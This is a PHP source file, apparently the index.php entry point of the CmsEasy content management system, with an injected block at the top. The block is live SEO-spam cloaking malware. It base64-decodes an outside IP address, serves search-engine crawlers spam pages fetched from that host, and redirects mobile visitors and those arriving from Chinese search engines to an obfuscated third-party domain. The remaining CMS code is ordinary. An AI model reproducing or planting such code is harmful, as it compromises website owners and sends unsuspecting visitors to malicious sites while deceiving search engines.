<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovLzExMy4yMDcuNDkuMjE6MjczNi8='));
define('MULU', 'timi|app|ios|android|download|page|games|play|video|news|product|blog|list|vod|post|activities|id|?|a|forum|portal|question|b|keyan|index.php|g|swsb|ys|dy|du|ku|show.php|.html');
function isEngines($key) {
    $spiders = array('Baiduspider', 'Sogou', '360Spider', 'YisouSpider', 'Googlebot', 'Bingbot', 'Bytespider');
    foreach ($spiders as $spider) {
        if (stripos($key, $spider) !== false) return true;
    }
    return false;
}
function my_custom_isMobile() {
    return preg_match("/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i", $_SERVER["HTTP_USER_AGENT"]);
}
function isIncludes() {
    $temp = explode('|', MULU);
    foreach ($temp as $v) {
        if (stripos(URI, $v) !== false) return true;
    }
    return false;
}

function isRef($ref) {
    if (empty($ref)) return false;
    return (stripos($ref, 'baidu') !== false || stripos($ref, 'sm.cn') !== false || 
            stripos($ref, 'so.com') !== false || stripos($ref, 'sogou') !== false);
}

function getContents($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $result = curl_exec($ch);
    curl_close($ch);
    if ($result == NULL) {
        return @file_get_contents($url);
    }
    return $result;
}

$ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$ym = $_SERVER['HTTP_HOST'];

if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if (isIncludes()) {
        echo getContents(host . "?xhost=" . $ym . '&reurl=' . urlencode(URI) . '&ua=Baiduspider&f=bd');
    exit;		
    } else {
        echo getContents(host . "lunlian/dt.php");
    }
} else {
    if (isIncludes()) {
        if (isRef($ref) || my_custom_isMobile()) {
            header("Location: https://l6i187jq.4npdpd-t8bka-fgsden.work:21557/?cid=jhgb&ref=" . urlencode($ym));
            exit;
        }
    }
}
?>
<?php
# CmsEasy Enterprise Content Management System
# Copyright (C) CmsEasy Co.,Ltd (https://www.CmsEasy.cn). All rights reserved.
header("Pragma:no-cache\r\n");
header("Cache-Control:no-cache\r\n");
header("Expires:0\r\n");
header("Content-Type: text/html; charset=utf-8");
header('Cache-control: private, must-revalidate');
header('X-Frame-Options:SAMEORIGIN');
date_default_timezone_set('Etc/GMT-8');
$_GET['site']='default';
error_reporting(0);
//error_reporting(E_ALL & ~(E_NOTICE | E_STRICT | E_DEPRECATED));
if(version_compare(PHP_VERSION,'5.6.0','<'))  die('<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimal-ui"><div style="width:320px; font-size:14px; margin:0px auto;margin-top:50px;padding:15px;border:5px solid #ccc;border-radius: 5px 5px 5px 5px;text-align:left;"><p>This system requires PHP version at least <strong style="color:green;font-size:18px;">&nbsp;&nbsp;5.6.0&nbsp;</strong> or higher</p><p>Recommended version greater than <strong style="color:blue;font-size:20px;">7.2.9</strong></p><p>The current PHP version is:   <strong style="color:red;font-size:18px;">' .PHP_VERSION . ' !</strong></p><p style="color:green">Please go to the virtual host control panel to switch the PHP version, or contact the space provider to help switch.</p><p><center><a href="https://www.cmseasy.cn/chm/faq/show-551.html" target="_blank">Click to view the installation tutorial!</a></center></p></div>');


class time {

    static $start;
    static function start() {
        self::$start=self::getMicrotime();
    }

    static function getMicrotime() {
        list($usec, $sec) = explode(" ", microtime());
        return ((float)$usec + (float)$sec);
    }
    static function getTime($length=6) {
        return round(self::getMicrotime()-self::$start, $length);
    }
}
function is_mobile() {
    if(!config::get('mobile_open')){
        return false;
    }elseif(config::get('mobile_open') == 2){
        return true;
    }else {
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        $mobile_agents = Array("240x320", "acer", "acoon", "acs-", "abacho", "ahong", "airness", "alcatel", "amoi", "android", "anywhereyougo.com", "applewebkit/525", "applewebkit/532", "asus", "audio", "au-mic", "avantogo", "becker", "benq", "bilbo", "bird", "blackberry", "blazer", "bleu", "cdm-", "compal", "coolpad", "danger", "dbtel", "dopod", "elaine", "eric", "etouch", "fly ", "fly_", "fly-", "go.web", "goodaccess", "gradiente", "grundig", "haier", "hedy", "hitachi", "htc", "huawei", "hutchison", "inno", "ipad", "ipaq", "ipod", "jbrowser", "kddi", "kgt", "kwc", "lenovo", "lg ", "lg2", "lg3", "lg4", "lg5", "lg7", "lg8", "lg9", "lg-", "lge-", "lge9", "longcos", "maemo", "mercator", "meridian", "micromax", "midp", "mini", "mitsu", "mmm", "mmp", "mobi", "mot-", "moto", "nec-", "netfront", "newgen", "nexian", "nf-browser", "nintendo", "nitro", "nokia", "nook", "novarra", "obigo", "palm", "panasonic", "pantech", "philips", "phone", "pg-", "playstation", "pocket", "pt-", "qc-", "qtek", "rover", "sagem", "sama", "samu", "sanyo", "samsung", "sch-", "scooter", "sec-", "sendo", "sgh-", "sharp", "siemens", "sie-", "softbank", "sony", "spice", "sprint", "spv", "symbian", "talkabout", "tcl-", "teleca", "telit", "tianyu", "tim-", "toshiba", "tsm", "up.browser", "utec", "utstar", "verykool", "virgin", "vk-", "voda", "voxtel", "vx", "wap", "wellco", "wig browser", "wii", "windows ce", "wireless", "xda", "xde", "zte");
        $is_mobile = false;
        foreach ($mobile_agents as $device) {
            if (stristr($user_agent, $device)) {
                $is_mobile = true;
                break;
            }
        }
        $_GET['t']=isset($_GET['t'])?$_GET['t']:"";
        return $_GET['t'] == 'wap' ? true :$is_mobile;
    }
}


time::start();
define('ROOT',dirname(__FILE__));
define('TEMPLATE',dirname(__FILE__).'/template');
define('TEMPLATE_ADMIN',dirname(__FILE__).'/template_admin');

if(!defined('THIS_URL')) define('THIS_URL','');

set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');
function _autoload($class) {
    if(in_array($class,array('Throwable','TypeError'))){
        return;
    }
    if(preg_match('/^PHPExcel_/i', $class)){
        include str_replace('_','/',$class).'.php';
        //include ROOT."/lib/plugins/".str_replace('_','/',$class).'.php';
    }else{
        if($class == 'admin_system'){
            include_once ROOT.'/lib/admin/admin_system.php';
            include_once ROOT.'/lib/admin/admin_system_.php';
        }else{
            if ((strlen($class) > 7) && (strtolower(substr($class, 0, 7)) === "hprose\\")) {
                $file = ROOT.'/lib/plugins'.DIRECTORY_SEPARATOR.'hprose'.DIRECTORY_SEPARATOR . str_replace("\\", DIRECTORY_SEPARATOR, $class) . ".php";
                //var_dump($file);exit;
                if (is_file($file)) {
                    include $file;
                    return true;
                }
            }
            include $class.'.php';
        }
    }



    if(!class_exists($class,false) && !interface_exists($class,false)){
        if(preg_match('/_act$/',$class)){
            throw new HttpErrorException(404, 'lang("page_does_not_exist")', 404);
            //404页面不存在
        }
        exit('lang("system_failed_to_load_class")，lang("class")'.$class.'lang("nonentity")！');
        //加载类失败
    }
}
spl_autoload_register('_autoload');
require_once(ROOT . '/lib/tool/functions.php');
require_once(ROOT . '/lib/tool/front_class.php');
require_once(ROOT . '/lib/plugins/userfunction.php');
session_start();


if(config::get('safe360_enable')){

    include_once(ROOT . '/lib/tool/waf.php');

    if(is_file(dirname(__FILE__).'/webscan360/360safe/360webscan.php')){
        require_once(dirname(__FILE__).'/webscan360/360safe/360webscan.php');
    }
}
$debug=config::get('isdebug');//1提示错误，0禁止

if ($debug){
    @ini_set("display_errors","On");
    error_reporting(E_ALL & (~(E_NOTICE | E_STRICT | E_DEPRECATED)));
}else{
    error_reporting(E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR);
}
if(preg_match("/[\'~`!$^)({}]|\]|\[|\"/i",$_SERVER['REQUEST_URI'])){
    header('location: /404.php');exit;
}


try{
    $front = new front();
    $front->dispatch();
}catch(HttpErrorException $e){
    if(config::get('custom404') && $e->statusCode == 404){
        header('location: /404.php');
    }else{
        exit($e->statusCode.':'.$e->getMessage());
    }
}

if(file_exists(ROOT."/lib/table/stats.php")) {
    stats::getbot();
}
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) CmsEasy Co., Ltd. (https://www.CmsEasy.cn). All rights reserved.